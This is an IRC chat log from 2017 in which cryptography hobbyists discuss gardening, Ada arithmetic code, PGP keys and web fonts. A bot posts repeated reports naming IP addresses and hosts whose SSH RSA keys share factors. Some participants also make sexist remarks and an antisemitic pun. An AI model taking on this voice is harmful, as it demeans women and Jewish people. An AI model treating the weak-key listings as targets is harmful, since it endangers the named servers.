1649163;1493337341;asciilifeform;they have major pest control problem. not even conibear, will help.
1649164;1493337365;asciilifeform;incidentally BingoBoingo the conibears sprung many times ( and i tested with a stick, hair trigger, quite sensitive ) and caught 0.
1649165;1493337370;mircea_popescu;unsurprising "ethereum applications"'d have popped up
1649166;1493337371;asciilifeform;them beasts -- evolved, must be.
1649167;1493337379;mircea_popescu;this has been such a fabulous goldimine. we thank teh new lord.
1649168;1493337621;mircea_popescu;"A few years ago, there used to be a very easy way to optimize code. If you found out that your processor-heavy code was running a bit slower than you wanted it to, the simple solution was just to wait for the next hardware iteration, which would magically amp up the clock rate on the CPUs and your app would suddenly run faster."
1649169;1493337639;mircea_popescu;^ quoted from tutorial on "celluloid", which is QUITE the ruby... emerald. by some indian kid.
1649170;1493338162;mircea_popescu;aaand in random lulz : https://thecryptosphere.com/2017/03/22/london-attack-at-westminster-apparently-targeted-via-4chan-pastebin/
1649171;1493338169;mircea_popescu;keywords : binary! morse!
1649172;1493338619;phf;asciilifeform: if i have procedure foo(x in; y out), and i'm calling it with foo(a, a); is it up to procedure to ensure that y is not clobbered before x is used, or is it more that you don't call with a same variable in in and out?
1649173;1493338648;asciilifeform;phf: perfectly legal to call with same variable as in and out.
1649174;1493338671;asciilifeform;you will notice that it is why there is scratch var Ni in the shifters.
1649175;1493338679;phf;ah, k
1649176;1493338680;asciilifeform;so yes, up to procedure.
1649177;1493339497;asciilifeform;phf: http://wotpaste.cascadianhacker.com/pastes/z16GS/?raw=true << tentative constant-time >wordsize-increment shifters.
1649178;1493339659;phf;you overestimate the state of things here. i only just managed to ~actually~ get a working very very naive expt
1649179;1493339725;asciilifeform;no rush
1649180;1493339731;phf;http://wotpaste.cascadianhacker.com/pastes/4QORj/?raw=true
1649181;1493339813;asciilifeform;it will work (in geological time) but work!11
1649182;1493339823;phf;:D //
1649183;1493339926;phf;what do i do with that loop_counter_overflow (technically underflow). it will never get triggered, but i feel like there needs to be some way to not leave it dangling. an assert of some sort
1649184;1493340714;asciilifeform;pragma Unreferenced (foo);
1649185;1493340738;asciilifeform;if i correctly understood what phf wanted.
1649186;1493340762;phf;well, i want to also indicate that at the end of the loop the value must be 0
1649187;1493340779;phf;though unreferenced is also handy
1649188;1493342848;deedbot;http://phuctor.nosuchlabs.com/gpgkey/3DCBAE5F39FC40A615FF096C435E18CA9B4979439EE287411F7E04208D62C928 << Recent Phuctorings. - Phuctored: 1291...8319 divides RSA Moduli belonging to '77.37.16.38 (ssh-rsa key from 77.37.16.38 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown DE HE)
1649189;1493342848;deedbot;http://phuctor.nosuchlabs.com/gpgkey/3DCBAE5F39FC40A615FF096C435E18CA9B4979439EE287411F7E04208D62C928 << Recent Phuctorings. - Phuctored: 1216...9619 divides RSA Moduli belonging to '77.37.16.38 (ssh-rsa key from 77.37.16.38 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown DE HE)
1649190;1493345705;deedbot;http://trilema.com/2017/how-i-found-some-area-of-expertise-in-mathematical-cryptography-one-expects-to-find-here-and-there-plus-divers-spots-missed-while-shaving/ << Trilema - How I found some area of expertise in mathematical cryptography one expects to find here and there ; plus divers spots missed while shaving.
1649191;1493347351;deedbot;http://www.thedrinkingrecord.com/2017/04/27/introducing-the-tmsr-agricultural-supremacy-project/ << Bingo Blog - Introducing the TMSR agriCultural Supremacy Project
1649192;1493347383;BingoBoingo;^ Biggest announcement in agriCulture this year!
1649193;1493347469;mircea_popescu;o.O
1649194;1493347485;BingoBoingo;!~later tell shinohai http://www.thedrinkingrecord.com/2017/04/27/introducing-the-tmsr-agricultural-supremacy-project/ << This will offer content to feed your TMSR Journal Of Whoreticulture, pls to consider accelerating your timeline for the venue opening
1649195;1493347485;jhvh1;BingoBoingo: The operation succeeded.
1649196;1493347572;mircea_popescu;BingoBoingo did i tell you about that time i grew the world's saddest eggplants ?
1649197;1493347586;BingoBoingo;No you haven't
1649198;1493347592;mircea_popescu;http://trilema.com/2012/test-de-cultura-botanica-iii/
1649199;1493347601;mircea_popescu;http://trilema.com/2011/test-de-cultura-botanica/ << these are artichoke babies. they grew up great.
1649200;1493347634;BingoBoingo;I do remember the artichokes
1649201;1493347651;mod6;<+mircea_popescu> BingoBoingo did i tell you about that time i grew the world's saddest eggplants ? << lol. last year, I got 1 out of like 3-4 plants. it looked more like a purple carrot.
1649202;1493347669;mircea_popescu;yeah eggplant is hard.
1649203;1493347731;BingoBoingo;mod6: Well good category to start is probably tomatoes. Growing process is well documented. As far north as you are "Early Girl" or similar may be your cultivar of choice.
1649204;1493347737;shinohai;ty BingoBoingo
1649205;1493347741;mircea_popescu;yeah.
1649206;1493347792;mircea_popescu;growing epic tomatoes is possibly the most accessible gardening.
1649207;1493347841;BingoBoingo;We had an inch and a half of rain Wednesday night and are looking at 5 inches over the weekend, so the Beefmaster was copiously fed in anticipation
1649208;1493347866;mircea_popescu;i had a monsoon here four days a week since mid april.
1649209;1493347878;mircea_popescu;it looks like at least 10cm rainfall.
1649210;1493347899;BingoBoingo;Sweet corn and summer squash are other good candidates to consider, Lords are advised to consult their county fair's premium book to guide crop selection.
1649211;1493347914;mircea_popescu;you know they don't do that here ;/
1649212;1493347920;mircea_popescu;they have an onion festival.
1649213;1493347957;BingoBoingo;I am pretty sure I mentioned nearby horseradish festival
1649214;1493347963;mircea_popescu;o, how about chet's baby squash ?
1649215;1493347975;mircea_popescu;http://trilema.com/2012/micrototul/
1649216;1493348006;BingoBoingo;very nice baby squash
1649217;1493348035;BingoBoingo;Anyways the pest on the tomatoe leaf looks like some sort of scale insect of which there are many
1649218;1493348246;mircea_popescu;aha. funny as all shit, one egg's growinfg legs.
1649219;1493348257;mod6;BingoBoingo: oh yeah, my tomatoes do well. i did 22 plants 2 years ago, 10 last year.  im most fond of the cherries & romas.
1649220;1493348294;BingoBoingo;mircea_popescu: Persistent pest everywhere, some are defeated by soaps, others carbaryl
1649221;1493348302;mod6;it's been raining non-stop here too.
1649222;1493348313;BingoBoingo;mod6: At many fairs, those are two seperate categories you can enter
1649223;1493348356;mod6;the mn statefair has some /large/ specimens
1649224;1493348397;mircea_popescu;BingoBoingo in fairness i was never serious about it in the productive sense, more like an enjoyable passtime.
1649225;1493348403;mircea_popescu;naked girls kneeling in the dirt and such,
1649226;1493348486;BingoBoingo;mircea_popescu: Well, there is also that. Not necessarily incompatible, naked girls can also kneel in dirt to pick the bounty.
1649227;1493348504;mircea_popescu;yeah, just, eg never bothered to kill those guys.
1649228;1493348648;BingoBoingo;At some point tomatoe grows to the point where it takes a substantial number of pests to be a problem. Anyways usually soapy water usually suffocates them and suds are generally safe for naked girlies
1649229;1493348713;BingoBoingo;Few garden pest usually demand organophasphates to be oppressed.
1649230;1493348744;mircea_popescu;i couldn't even bring myself to salt the slugs.
1649231;1493348750;mircea_popescu;thenb again they mostly stuck to compost pile.
1649232;1493348769;BingoBoingo;But when the farmers harvest the corn and the now hungry stinkbugs come, using nerve agents against them is fair
1649233;1493348793;BingoBoingo;A good compost pile can be a wonderful diversion in that way
1649234;1493348801;mircea_popescu;yeah srslty.
1649235;1493348952;BingoBoingo;slugs and snails usually don't really care much for freshness
1649236;1493349040;mircea_popescu;yea
1649237;1493349492;BingoBoingo;Anyways, idea of the project is that any lord who enjoys this recreation has ready opportunity to demonstrate their ability to dominate wherever they decide to turn their focus if they so choose
1649238;1493349575;BingoBoingo;https://archive.is/XXxWH << Pretty good overview of how these things get judged
1649239;1493349604;BingoBoingo;http://extension.missouri.edu/p/G6230 << In case archive.is burps
1649240;1493349919;mircea_popescu;in other news : ##crypto did 530/738 lines as join/part spam Apr 27 13:21:01 to Apr 27 21:26:05. the remainder 208 lines were 90% of the material and about 450% of the signal us. i think asciilifeform 's evaluation prevails.
1649241;1493349973;mircea_popescu;if i one day actually wish to entertain adolescentine farts about "qc" or such nonsense ima just invite for dinner any of the bois oogling my women from a safe distance.
1649242;1493349987;shinohai;I'm still incredulous that one guy is so hoity-toity he won't say FUCKGOATS
1649243;1493350040;mircea_popescu;he dun wanna sully his soul
1649244;1493350045;mircea_popescu;as that's the only soul he's got.
1649245;1493350058;shinohai;I'm dying of a snakebite, but won't take any anti-venom called fucksnakes
1649246;1493350082;mircea_popescu;shinohai that leg was holding you back!
1649247;1493350295;*;shinohai goes back to filling his box with malicious entropy ....
1649248;1493350345;mircea_popescu;aaron toponce (goes by eightyeight in that chat) has possibly the lulziest "gpg key signing" item i saw : https://pthree.org/my-pgp-key-signing-policy/
1649249;1493350373;mircea_popescu;1. let's make "government issued id" the underpinning of the pgp web of trust, because totally, what could be better or above the fiat empire du jour ; 2. key ids. because really.
1649250;1493350440;mircea_popescu;and this is symptomatic of the sheer confusion OF EVERYTHING these fuckwits live in. "Personally, I will only sign keys if I have done at least casual checking or very careful checking. I will not sign a key if I have not verified the ownership of the key. This weakens the Web of Trust." and then eats up weak hashes and government paper. because why the fuck not, PERFECTLY coherent with his "careful" stance.
1649251;1493350454;mircea_popescu;anyway. anyone seen that tox thing ?
1649252;1493350606;mircea_popescu;asciilifeform seems like we possibly have a problem here : http://phuctor.nosuchlabs.com/gpgkey/0429881B753F39E9FE2573E856C1CEA1AE91EF781A8C2741FB2ADFB2F51313F4
1649253;1493350614;mircea_popescu;dude's key is ancient and yet reported as submitted today
1649254;1493350659;*;asciilifeform looks
1649255;1493350661;shinohai;Tox: "Please use our mailing lists or the Reddit forums for general user support. "
1649256;1493350665;shinohai;no thanx
1649257;1493350683;asciilifeform;mircea_popescu: entirely possible that it wasn't in the orig sks dump
1649258;1493350692;mircea_popescu;pretty sure it was.
1649259;1493350834;mircea_popescu;in any case it should have been, it's ancient, dude keeps signing others with it etc. "strong set" as they call it.
1649260;1493350899;asciilifeform;can argue that should've been. but wasn't. or it'd show 2016 date.
1649261;1493350906;mircea_popescu;yeah. weird.
1649262;1493350918;asciilifeform;oooh hey, hey, http://phuctor.nosuchlabs.com/gpgkey/1BB77329C5FE26A5FABBDAA7FC7DC383BF20B6E528D0FE94F5D1E5C77B041ED1 .
1649263;1493350945;asciilifeform;and http://phuctor.nosuchlabs.com/gpgkey/1C71FE2B34FBF7E725AAFEC7AF437D95A1BC8280B094508BE8E4399E22004C55 .
1649264;1493350962;asciilifeform;looks like latest copy, is simply same, but with new endorsers.
1649265;1493350968;asciilifeform;so in fact we had it.
1649266;1493350975;mod6;"we heard you like email, so we put some email in your email..."
1649267;1493350976;asciilifeform;( his modulus, that is. )
1649268;1493350987;asciilifeform;mod6: aha, the shitfest gotta die.
1649269;1493351014;asciilifeform;enough of the 'subkeys', 'endorsers', embedded photo (yes, makes for multi-100kB pubkeys) liquishit, devil knows what else.
1649270;1493351082;mircea_popescu;aah
1649271;1493351132;mircea_popescu;for a moment there i almost thought there's something wrong with phuctor.
1649272;1493351186;mircea_popescu;check that out, "oalug steering committee"
1649273;1493351216;asciilifeform;plenty of room for improvement in phuctor.
1649274;1493351224;asciilifeform;for instance : 0 orc glyph-bearing keys.
1649275;1493351230;asciilifeform;needs full depythonization, it does.
1649276;1493351243;mircea_popescu;really should just be stripped from C field.
1649277;1493351252;asciilifeform;can't strip, hash won't match.
1649278;1493351265;asciilifeform;and it happens long before it hits the c.
1649279;1493351277;asciilifeform;python per se actually barfs on encounter.
1649280;1493351293;mircea_popescu;heh
1649281;1493351296;asciilifeform;( because it -- or at least python2 -- is married to 'string is 7bit ascii' )
1649282;1493351326;asciilifeform;( python3 was pushed as 'fix' for this, but -- as iirc described in mircea_popescu's www -- never actually worked. )
1649283;1493351930;mircea_popescu;i've been contemplating the point of whether more than 1 in 1000 humans actually have need for electrical power.
1649284;1493351946;mircea_popescu;to my shock the answer's not quite as directly obvious as one'd like.
1649285;1493353494;BingoBoingo;The only people really served by mass electrification are marketers
1649286;1493353596;mircea_popescu;how did that go, electricity + power of soviets = socialism ?
1649287;1493353636;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D33A6D003FB3DE795015D471B96EEE94F66F6C072D342040BACBCAACA43C526A << Recent Phuctorings. - Phuctored: 1391...5257 divides RSA Moduli belonging to '79.174.66.73 (ssh-rsa key from 79.174.66.73 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (2709.ovz-ssd8.hc.ru. RU)
1649288;1493353636;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D33A6D003FB3DE795015D471B96EEE94F66F6C072D342040BACBCAACA43C526A << Recent Phuctorings. - Phuctored: 1558...2707 divides RSA Moduli belonging to '79.174.66.73 (ssh-rsa key from 79.174.66.73 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (2709.ovz-ssd8.hc.ru. RU)
1649289;1493353636;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1E513C40B6621513CDF703FE3B0EFDB1B68135E2C9E459CAF01F96CD128EB68A << Recent Phuctorings. - Phuctored: 1458...4359 divides RSA Moduli belonging to '200.131.128.6 (ssh-rsa key from 200.131.128.6 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (netuno.unifei.edu.br. BR)
1649290;1493353636;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1E513C40B6621513CDF703FE3B0EFDB1B68135E2C9E459CAF01F96CD128EB68A << Recent Phuctorings. - Phuctored: 1494...6389 divides RSA Moduli belonging to '200.131.128.6 (ssh-rsa key from 200.131.128.6 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (netuno.unifei.edu.br. BR)
1649291;1493353968;phf;^^ http://www.valentin-pikul.ru/images/stories/articles/lampochka.jpg
1649292;1493354094;mircea_popescu;in other electricities, "La exmujer de un oligarca comparte su secreto para ganar dinero en Internet..."
1649293;1493354211;mircea_popescu;truth be told you don't actually need, or for that matter want, electricity to juju worship. be a lot happier with a coupla tubers rather than all this unmanageable complexity
1649294;1493354216;mircea_popescu;and teh juju worship'd come out just as good.
1649295;1493354798;BingoBoingo;That's as a worshipper. As a peddler of a particular juju, electricity helps to sell more jujidgets
1649296;1493354877;mircea_popescu;but it's exactly the same as the rent market : yes, you sell more jujidgets but guess what ? so does everyone else. so now you HAVE TO sell more jujidgets.
1649297;1493354882;BingoBoingo;Or Jewidgets, however the spelling works out
1649298;1493354903;mircea_popescu;electricity is not actually serving you, much like the idea of "stand on tiptoes to see better at ball game" doesn't actually serve you.
1649299;1493354915;mircea_popescu;all you get is... "well now you GOTTA stand on tiptoes, sucker"
1649300;1493354965;BingoBoingo;Well it's inflation. So what about actual value? Gotta march to 120k classroom monitor!
1649301;1493355196;BingoBoingo;So tiptoes on stacked jujewgidgets all because tv said so.
1649302;1493355503;mircea_popescu;sure. but it dun mean they're ~needed~.
1649303;1493355723;BingoBoingo;Naturally. Brb, sleep.
1649304;1493356855;deedbot;http://phuctor.nosuchlabs.com/gpgkey/80D5068863DD5F013D5B4595395297924EC59FF2D20D32347D486BC8648DD427 << Recent Phuctorings. - Phuctored: 1507...1897 divides RSA Moduli belonging to '193.85.175.196 (ssh-rsa key from 193.85.175.196 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (mail.spih.cz. CZ)
1649305;1493356855;deedbot;http://phuctor.nosuchlabs.com/gpgkey/80D5068863DD5F013D5B4595395297924EC59FF2D20D32347D486BC8648DD427 << Recent Phuctorings. - Phuctored: 1715...3769 divides RSA Moduli belonging to '193.85.175.196 (ssh-rsa key from 193.85.175.196 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (mail.spih.cz. CZ)
1649306;1493357998;deedbot;http://phuctor.nosuchlabs.com/gpgkey/ABED940920ED0364789083EFA6B705C00B3467D5D372FD60803368E66E869800 << Recent Phuctorings. - Phuctored: 1649...7863 divides RSA Moduli belonging to '79.61.96.90 (ssh-rsa key from 79.61.96.90 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (host90-96-static.61-79-b.business.telecomitalia.it. IT)
1649307;1493357998;deedbot;http://phuctor.nosuchlabs.com/gpgkey/ABED940920ED0364789083EFA6B705C00B3467D5D372FD60803368E66E869800 << Recent Phuctorings. - Phuctored: 1761...1589 divides RSA Moduli belonging to '79.61.96.90 (ssh-rsa key from 79.61.96.90 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (host90-96-static.61-79-b.business.telecomitalia.it. IT)
1649308;1493358519;deedbot;http://phuctor.nosuchlabs.com/gpgkey/7C3241B637A9A30400454834C03F9816B3F6AC390A3CBF63CA7102638F841C6B << Recent Phuctorings. - Phuctored: 1781...2663 divides RSA Moduli belonging to '85.125.200.62 (ssh-rsa key from 85.125.200.62 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (85-125-200-62.static.upcbusiness.at. AT)
1649309;1493358519;deedbot;http://phuctor.nosuchlabs.com/gpgkey/7C3241B637A9A30400454834C03F9816B3F6AC390A3CBF63CA7102638F841C6B << Recent Phuctorings. - Phuctored: 1786...9583 divides RSA Moduli belonging to '85.125.200.62 (ssh-rsa key from 85.125.200.62 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (85-125-200-62.static.upcbusiness.at. AT)
1649310;1493392929;lobbes;http://logs.minigame.bz/2017-04-28.log.html#t06:10:10 << pete_dushenski, if I send a plaintext your way with lobbesbot's commands could you add it to your list?
1649311;1493392929;lobbesbot;Logged on 2017-04-28 06:10:10:  and a command to query for uncompressed specifics of a named auction
1649312;1493392938;lobbes;Oops, wrong link
1649313;1493394419;BingoBoingo;!~ticker --market all
1649314;1493394426;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 1325.09, vol: 7937.54606425 | BTC-E BTCUSD last: 1290.004, vol: 5832.62338 | Bitfinex BTCUSD last: 1393.5, vol: 12385.97136821 | BTCChina BTCUSD last: 1131.0029, vol: 9843.39680000 | Kraken BTCUSD last: 1325.343, vol: 3404.35614867 | Volume-weighted last average: 1292.93748819
1649315;1493396371;deedbot;http://phuctor.nosuchlabs.com/gpgkey/64B6EAF797B208717F4341A4F1251FB212242560F4A4BAF5CC1FD6E6FFD673E6 << Recent Phuctorings. - Phuctored: 1393...6903 divides RSA Moduli belonging to '83.151.29.51 (ssh-rsa key from 83.151.29.51 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (m18s17.vlinux.de. DE)
1649316;1493396372;deedbot;http://phuctor.nosuchlabs.com/gpgkey/64B6EAF797B208717F4341A4F1251FB212242560F4A4BAF5CC1FD6E6FFD673E6 << Recent Phuctorings. - Phuctored: 1454...6529 divides RSA Moduli belonging to '83.151.29.51 (ssh-rsa key from 83.151.29.51 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (m18s17.vlinux.de. DE)
1649317;1493399244;lobbes;http://www.politico.com/story/2017/04/28/trump-presidency-easier-previous-life-237728?cmpid=sf << In other lulz, Trump starts coming to grips with his being 70 years old
1649318;1493400478;deedbot;http://cascadianhacker.com/a-brief-foray-into-the-swamp-of-trb-boost-usage << CH - A Brief Foray Into The Swamp of TRB Boost Usage
1649319;1493400568;asciilifeform;ben_vulpes: i must confess -- the font on your www is barely readable on my boxes. gloms horizontally.
1649320;1493400579;asciilifeform;like misadjusted electric typewriter.
1649321;1493400775;ben_vulpes;asciilifeform: i must confess -- styling html makes me impotent
1649322;1493400783;asciilifeform;how about ~not~ styling it.
1649323;1493400785;asciilifeform;like qntra.
1649324;1493400794;asciilifeform;would do a world'o'good.
1649325;1493400810;asciilifeform;it is driving me batshit that this liquishit font is even ~on~ my box.
1649326;1493400813;asciilifeform;(why??)
1649327;1493400848;asciilifeform;i'm half-convinced that just about all commonplace linux fonts were specially made by wreckers in '90s.
1649328;1493400849;ben_vulpes;unrelatedly https://consequenceofsound.net/2017/04/12000-luxury-fyre-festival-is-basically-a-disaster-zone/
1649329;1493401034;asciilifeform;ben_vulpes: http://www.loper-os.org/pub/grr.png
1649330;1493401103;asciilifeform;also your last link is broken
1649331;1493401159;ben_vulpes;asciilifeform: ty
1649332;1493401244;ben_vulpes;asciilifeform: what means "gloms horizontally"?
1649333;1493401249;asciilifeform;see screenshit
1649334;1493401263;ben_vulpes;i am looking. what in particular are you objecting to?
1649335;1493401270;asciilifeform;the characters TOUCH. it is physically painful to read.
1649336;1493401278;ben_vulpes;gotcha
1649337;1493401281;ben_vulpes;yeah that sucks
1649338;1493401485;ben_vulpes;asciilifeform: better?
1649339;1493401495;asciilifeform;yes!!
1649340;1493401499;asciilifeform;ty ben_vulpes .
1649341;1493401517;ben_vulpes;no thank you
1649342;1493401531;Framedragger;verdana sucks. especially when it's not antialiased
1649343;1493401818;Framedragger;actually interestingly, trilema.com also renders verdana here on firefox. but i think that ben_vulpes' site somehow managed to use "verdana italic" as "regular verdana", which looked horribru. but i'm not sure what that even
1649344;1493403240;BingoBoingo;Seriously, the correct answer is to not style web text.
1649345;1493403263;BingoBoingo;Let reader of text assign style
1649346;1493403293;asciilifeform;BingoBoingo: one problem -- some things MUST be monospaced.
1649347;1493403320;asciilifeform;( imho -- i'd much rather have everything monospace, if could only have one. )
1649348;1493403357;Framedragger;thing is, you can monospace with 
 and let browser decide on monospaced font, too
1649349;1493403364;asciilifeform;aha
1649350;1493403368;Framedragger;so shouldn't be a prob.
1649351;1493403376;asciilifeform;but this in re BingoBoingo's 'just don't style'
1649352;1493403389;asciilifeform;but if you don't know how to style correctly -- then, yes, don't.
1649353;1493403406;Framedragger;you can view 
 as a content/semantic tag, and 'style' would be 'shit in css'. i mean, if we truly believed in content/form separation on the web
1649354;1493403458;ben_vulpes;web is not even a place where "words have meaning"
1649355;1493403487;ben_vulpes;browser authors happily route around eg multiple identical ids on same page
1649356;1493403524;Framedragger;it's the ultimate zoo, what can i say
1649357;1493403587;ben_vulpes;ultimate poo
1649358;1493406954;BingoBoingo; but this in re BingoBoingo's 'just don't style' << 
 isn't style, it's semantic
1649359;1493406991;BingoBoingo;ben_vulpes: Any thoughts towards the agriCltural Supremacy Challenge
1649360;1493407078;ben_vulpes;BingoBoingo: i thought about looking up local fairs
1649361;1493407096;ben_vulpes;but digesting other people's abstractions distracted me
1649362;1493407143;BingoBoingo;It's not such a bad thing
1649363;1493407322;danielpbarron;!!v 14AAE3891C27B0694C3B0DAF888335CD80BBA0E06A1AF618A4A532EBDDA7AFC4
1649364;1493407322;deedbot;danielpbarron updated rating of juliatourianski_ from 4 to -4 << Stupid harlot, segwit shill, self-admitted enemy of the republic
1649365;1493408025;mats;lel
1649366;1493408079;ben_vulpes;theeeere it is
1649367;1493408099;ben_vulpes;self-admitted enemy of the republic is a new one, gotta citation on hand danielpbarron ?
1649368;1493408109;ben_vulpes;for my lulzporium
1649369;1493408412;danielpbarron;http://i.imgur.com/79t5xNm.jpg
1649370;1493408656;Framedragger;meh. if i was told out of the blue like that, i may respond the same :) (contra is of course "ignorance is not an excuse")
1649371;1493408671;trinque;man, I was hoping for some kind of spy vs spy situation where danielpbarron thwarted her honeydicking
1649372;1493408744;Framedragger;totally
1649373;1493408747;danielpbarron;there is no out of the blue about it
1649374;1493408799;danielpbarron;i have spent considerable time in person with her in which she is very friendly, and she knows well about tmsr, this goes back several years
1649375;1493408832;Framedragger;oh lol, okay, that will do heh
1649376;1493408859;trinque;danielpbarron: I always take "anarchist chick" as "I have daddy problems omg look at me breaking the rules"
1649377;1493408870;danielpbarron;i've met her dad. he's a nice guy
1649378;1493408914;mats;busy building a brand and appearing on cringey venues like 'anarchast' and 'anarchapulco'
1649379;1493408929;mircea_popescu;is that good for the anarchy within ?
1649380;1493408944;mats;good if you want to be roger ver and Bitcoin Mary
1649381;1493409065;mircea_popescu;trinque since we're on it, what do you take "lesbian" as ?
1649382;1493409179;trinque;I've seen both "I hate taking baths" and "holy shit there are zero acceptable men in my wot" variants
1649383;1493409208;danielpbarron;unrelatedly, trinque why can't i deed stuff? i tried again with a smaller thing and i got the same result. bot says "deeds online" much later but my entry isn't on the website
1649384;1493409223;trinque;be specific
1649385;1493409229;trinque;you're deeding huge items yes?
1649386;1493409242;danielpbarron;http://btcbase.org/log/2017-04-24#1647644
1649387;1493409242;a111;Logged on 2017-04-24 08:04 danielpbarron: !!deed http://danielpbarron.com/NVIDIA-Linux-x86_64.asc
1649388;1493409250;danielpbarron;this one is ~300 M
1649389;1493409276;trinque;couldn't like...
1649390;1493409278;trinque;deed a hash?
1649391;1493409291;danielpbarron;i asked if i should do that and someone specifically told me to do it this way
1649392;1493409295;trinque;otherwise your feature request is noted and I'll have to do something about eating bigger files
1649393;1493409299;mircea_popescu;i recall that conversation.
1649394;1493409475;trinque;know what? I bet it's just a timeout happening
1649395;1493409544;trinque;nope, ram limitation lol
1649396;1493409624;trinque;danielpbarron: I'm gonna stop my bitcoin node a sec
1649397;1493409683;trinque;poar past trinque said to himself "ah this thing's for text, whole download in ram no problem"
1649398;1493409833;asciilifeform;!~later tell phf http://wotpaste.cascadianhacker.com/pastes/DJJ8J/?raw=true << possibly of interest
1649399;1493409833;jhvh1;asciilifeform: The operation succeeded.
1649400;1493409859;asciilifeform;^ with constant-time mul
1649401;1493409901;asciilifeform;( and various other useful things )
1649402;1493409921;asciilifeform;does anybody have a favourite constant-time modular-exp ??
1649403;1493409941;asciilifeform;( is one even known to exist..? )
1649404;1493410146;trinque;!!deed http://danielpbarron.com/NVIDIA-Linux-x86_64.asc
1649405;1493410466;trinque;danielpbarron: where is this going? infinite Eulora kids going to download it?
1649406;1493410478;trinque;the pipe on this box is not unmetered.
1649407;1493410615;danielpbarron;i wanted to preserve a copy of it for the future in case it's no longer available anywhere else
1649408;1493410655;*;mircea_popescu is still searching for where thid discussion happened
1649409;1493410673;danielpbarron;most noobs do the windows thing and don't need the linux drivers
1649410;1493410725;mircea_popescu;http://btcbase.org/log/2017-04-05#1638343 << there
1649411;1493410725;a111;Logged on 2017-04-05 22:36 danielpbarron: what is the proper way to deed such an item? clearsign the sha512sum ?
1649412;1493410858;ben_vulpes;IT WAS ME
1649413;1493410872;mircea_popescu;http://btcbase.org/log/2017-04-28#1649343 << it actually will use whatever you want, has a whole list.
1649414;1493410872;a111;Logged on 2017-04-28 17:50 Framedragger: actually interestingly, trilema.com also renders verdana here on firefox. but i think that ben_vulpes' site somehow managed to use "verdana italic" as "regular verdana", which looked horribru. but i'm not sure what that even
1649415;1493410887;mircea_popescu;some people end up with dual char mode because no chinese support in the default.
1649416;1493410901;mircea_popescu;ben_vulpes i hope you bought a cape by now.
1649417;1493410907;trinque;lol
1649418;1493410936;ben_vulpes;cape, top hat, and cane
1649419;1493410940;trinque;danielpbarron: anyhow for now I request that you use deedbot as something to check against, and not as a CDN/archive.is
1649420;1493410944;ben_vulpes;plus a handicapped sticker
1649421;1493410956;ben_vulpes;it's a real site watching me haul my broken carcass out of the muscle car
1649422;1493410959;ben_vulpes;sight*
1649423;1493411407;danielpbarron;trinque, ok
1649424;1493411462;trinque;I can help ya make it eat more large objects (don't mind the archivng) but eventually it's going to need to either deplete the deed author's wallet account for $amountOfBitsServed, or something along those lines
1649425;1493411473;trinque;at which point I'd be more than happy to serve up whichever bits forever
1649426;1493411504;trinque;obviously I'll also make special cases for things like trb deeds.
1649427;1493411780;mircea_popescu;yeah, how's the whole dwallet coming along ?
1649428;1493411952;pete_dushenski;lobbes: of course.
1649429;1493411987;Framedragger;http://btcbase.org/log/2017-04-28#1649251 << as the case currency stands with regards to tox, the saddest thing about it is not its pos code, pos design (i think there are some attempts to have a design?), but that some arguably should-know-better smart people are sinking time into it
1649430;1493411987;a111;Logged on 2017-04-28 03:34 mircea_popescu: anyway. anyone seen that tox thing ?
1649431;1493412013;mircea_popescu;this is so totally novel a situation ;/
1649432;1493412039;Framedragger;this one recent time, an actually decent outside person reported a fixable vuln in their craptography https://github.com/TokTok/c-toxcore/issues/426
1649433;1493412056;Framedragger;folks went defensive. very barf
1649434;1493412110;*;Framedragger actually went on their channel (whichever it was, they have like tox-talk and -dev and just tox or sth) to see if any clever people. yes, one iphy (also on ##crypto) understood that (1) it was an issue and (2) these other 'core member' fuckwits were destroying any goodwill
1649435;1493412125;Framedragger;i think in the end they managed to address the fact that they should address it
1649436;1493412133;Framedragger;that exhausted my curiosity, tho
1649437;1493412140;mircea_popescu;but then he promotes "the noise protocol framework"
1649438;1493412148;mircea_popescu;which is one synergy short of a buzz cut.
1649439;1493412171;Framedragger;here i have a problem because i don't think noise is necessarily bad; or that e.g. signal protocol is necessarily bad (yes names are barf'y)
1649440;1493412203;Framedragger;i mean, 'compared to what'. certainly not compared to asciilifeform's actually-fucking-constant-time crypto architecture
1649441;1493412217;mircea_popescu;does it not seem to you that a protocol framework (ie, some sort of method for "creating" or "tailoring" protocols) is broken in the head ?
1649442;1493412218;Framedragger;oops by 'certainly not' i meant 'certainly pos compared to alf's
1649443;1493412244;Framedragger;hold on, that does sound retarted
1649444;1493412264;mircea_popescu;even if we don't consider practical experience (hey, automake tried to be a makefile framework yes ?) and only focus on the theoretical aspect
1649445;1493412270;Framedragger;ah. well, i thought it was a set of lower-level crypto interfaces on which you could build higher-level protocols
